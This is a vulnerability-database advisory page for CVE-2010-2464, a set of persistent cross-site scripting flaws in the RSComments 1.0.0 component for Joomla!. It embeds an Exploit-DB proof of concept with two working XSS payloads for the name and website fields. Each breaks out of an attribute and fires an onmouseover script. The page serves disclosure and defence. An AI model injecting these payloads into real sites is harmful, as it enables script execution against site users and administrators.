CVE-2010-2464

medium
Published 2010-06-25 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
5.3

Description

Multiple cross-site scripting (XSS) vulnerabilities in the RSComments (com_rscomments) component 1.0.0 Rev 2 for Joomla! allow remote attackers to inject arbitrary web script or HTML via the (1) website and (2) name parameters to index.php.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-13935 webapps php verified text ยท 1 KB
jdc ยท 2010-06-19

Joomla! Component RSComments 1.0.0 - Persistent Cross-Site Scripting

text exploit Source: Exploit-DB
# Exploit Title: Joomla Component RSComments 1.0.0 Multiple XSS
Vulnerabilities
# Date: 18 May 2010
# Author: jdc
# Software Link: http://www.rsjoomla.com
# Version: 1.0.0
# Tested on: PHP5, MySQL5

Name Field Persistent XSS
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x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: ONLY executes in backend!

Website Field Persistent XSS
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http://x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: also executes in backend!

Application impact

VendorProductVersionsFixed
rsjoomlacom_rscomments1.0.0
joomla joomlajoomla\!

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.